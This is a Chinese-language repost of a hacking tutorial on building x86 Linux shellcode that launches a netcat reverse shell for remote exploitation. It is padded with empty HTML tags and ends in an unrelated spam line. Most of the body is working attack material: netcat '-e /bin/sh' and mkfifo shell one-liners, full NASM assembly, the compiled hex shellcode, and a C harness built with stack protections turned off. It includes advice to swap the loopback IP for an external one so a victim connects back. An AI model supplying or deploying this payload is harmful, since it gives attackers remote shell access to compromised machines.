<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/1376

                    from:http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/

                    這篇文章主要是談,在遠程溢出時怎樣構造shellcode,才能形成一個有效的反彈鏈接。

                    0x00 反向綁定遠程shell


                    讓本地主機和遠程shell建立起連接的方法有很多種,其中最常見的是在遠程主機上開放一個端口,然后把它的

                    stdout/stderr/stdin
                    

                    重定向到一個shell上。

                    這樣我們就可以在自己的主機上通過一個簡單的netcat命令來連接它。

                    但是,大多數情況下這種方法并不能起作用,很多服務器只對外開放少量的幾個端口,比如,http(s),ftp,smtp等。

                    其他的數據包都會被防火墻直接丟棄。解決這種問題的方法就是使用反彈鏈接,反彈鏈接的意思就是,讓遠程的主機主動連接我們的服務器。

                    所以,你需要在自己的機器上開放一個端口,等待著倒霉的受害者自己連接你的主機就可以了。

                    0x01 netcat -e命令


                    首先我們假設,目標網站上安裝了netcat。

                    通常情況下netcat支持e參數,這個參數將會運行后面所跟的程序,并將它跟鏈接綁定。

                    如果我們把/bin/sh通過e參數綁定,并開啟監聽,那當我們使用遠程主機連接到這臺主機時,就相當于獲得了一個shell。讓我們來嘗試一下。

                    在本地主機運行

                    #!bash
                    netcat -lvp 9999
                    

                    監聽連入的鏈接。

                    新開一個shell運行

                    #!bash
                    netcat -e /bin/sh 127.0.0.1 9999  
                    

                    這樣,你的第一個shell將建立起一個鏈接,在其中執行ls whoami 等命令,測試一下它是否可以正常工作,
                    你也可以使用 Ctrl+c 來關閉這個鏈接。

                    注意:openbsd版本的netcat不支持 -e或者-c 參數。

                    你可以使用以下的語句來替代。

                    #!bash
                    rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f
                    

                    但是它太復雜了,很難在shellcode中運行。

                    0x02 匯編代碼


                    現在我們就來看一下怎樣把這條語句通過匯編執行,并放入shellcode中。

                    下面是,我們shellcode重要運行的匯編代碼。(intel語法)

                    #!bash
                    jmp short       forward
                    back:
                    pop             esi
                    xor             eax, eax
                    mov byte        [esi + 11], al    ; terminate /bin/netcat
                    mov byte        [esi + 14], al    ; terminate -e
                    mov byte        [esi + 22], al    ; terminate /bin/sh
                    mov byte        [esi + 38], al    ; terminate 127.127.127.127
                    mov byte        [esi + 43], al    ; terminate 9999
                    mov long        [esi + 44], esi   ; address of /bin/netcat in AAAA
                    lea             ebx, [esi + 12]   ; get address of -e  
                    mov long        [esi + 48], ebx   ; store address of -e in BBBB 
                    lea             ebx, [esi + 15]   ; get address of /bin/sh
                    mov long        [esi + 52], ebx   ; store address of /bin/sh in CCCC
                    lea             ebx, [esi + 23]   ; get address of 127.127.127.127
                    mov long        [esi + 56], ebx   ; store address of 127.127.127.127 in DDDD
                    lea             ebx, [esi + 39]   ; get address of 9999
                    mov long        [esi + 60], ebx   ; store address of 9999 in EEEE
                    mov long        [esi + 64], eax   ; put NULL in FFFF
                    mov byte        al, 0x0b          ; pass the execve syscall number as argument
                    mov             ebx, esi          
                    lea             ecx, [esi + 44]   ; /bin/netcat -e /bin/sh etc etc
                    lea             edx, [esi + 64]   ; NULL
                    int             0x80              ; Run the execve syscall
                    
                    forward:
                    call            back
                    db "/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"
                    

                    其實上面代碼想做的翻譯成c語言是如下兩行

                    #!c
                    char *command[] = {"/bin/netcat", "-e", "/bin/sh", "127.127.127.127", "9999", NULL};
                    execve(command[0], command, NULL);
                    

                    命令就是如下的字符串

                    #!bash
                    /bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF
                    

                    字符串中各個部分被#隔開,是因為在shellcode中不能出現null,這會造成shellcode被截斷,從而不能被
                    目標主機正確運行。

                    不管我們在哪里運行這段程序,首先需要知道的是命令字符串的地址。

                    所以我在第1行和第26行分別創建了兩個標簽(forword和back),使用call命令時(27行),首先會把返回地址入棧,返回地址就是下一條指令的地址,而下一條指令的地址恰巧就是我們的命令字符串。

                    回到第3行,我們把命令字符串地址彈出到ESI寄存器,然后將EAX初始化,注意我們不能直接使用

                    #!bash
                    mov eax,0
                    

                    因為null在shellcode中是不允許出現的。最后我們吧,命令字符串分開存放到內存之中。

                    1396093148.png

                    在第5行到第9行,我們把寄存器中的0移動到字符串的末尾,使用替代#(取自eax寄存器,其中的0使用xor生成)之后我們需要一個各個字符串地址的數組,作為execve()的第二個參數。

                    在第十行,我們把 /bin/netcat 的地址放入 AAAA 所在的位置,程序中的11到18行也是在做同樣的事情,最后19行我們把存入到FFFF的位置,作為字符串的結尾。

                    在第20行我們準備執行系統調用,我們首先把0xb存儲到eax中,esi(/bin/netcat的地址)存儲到ebx中,字符串的地址存儲到,ecx中,最后edx存儲null,之后使用0x80觸發系統調用,不出意外的話,一個反彈鏈接的指令就成功執行了。

                    這個例子中,ip地址使用的是127.127.127.127 ?端口號是 9999,這是一個本地的ip地址。通常情況下
                    你需要使用一個外網IP來替換掉它,如果兩個ip長度不同的話,你要仔細的修改掉所有與他相關聯的匯編代碼。

                    0x03 編譯測試shellcode


                    現在,需要把匯編代碼存儲到一個asm文件之中,我們這里叫做shell.asm,使用以下的語句編譯它,

                    #!bash
                    nasm -felf32 -o shell.o shell.asm
                    

                    使用,objdump -D命令我們就可以看到這個小程序的opcodes,使用下面一段指令我們就可以把它們
                    放入到一個C字符串中

                    #!bash
                    for i in $(objdump -d shell.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo
                    

                    最后我們得到

                    \xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46
                    

                    最后我們使用一段c程序來驗證這個shell是否可行。

                    #!c
                    char shellcode[] = "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";
                    
                    int main()
                    {
                        int (*ret)() = (int(*)())shellcode;
                        ret();
                    }
                    

                    想要編譯它,需要關閉一些安全編譯選項,然后使用如下命令。

                    #!bash
                    gcc shellcode.c -fno-stack-protector -z execstack -o shellcode  
                    

                    在另一個shell中運行netcat -lvp 9999,然后運行這個c程序./shellcode如果一切正確的話你就可以得到一個反彈鏈接的shell了。

                    1396096315.png

                    happy hacking!

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频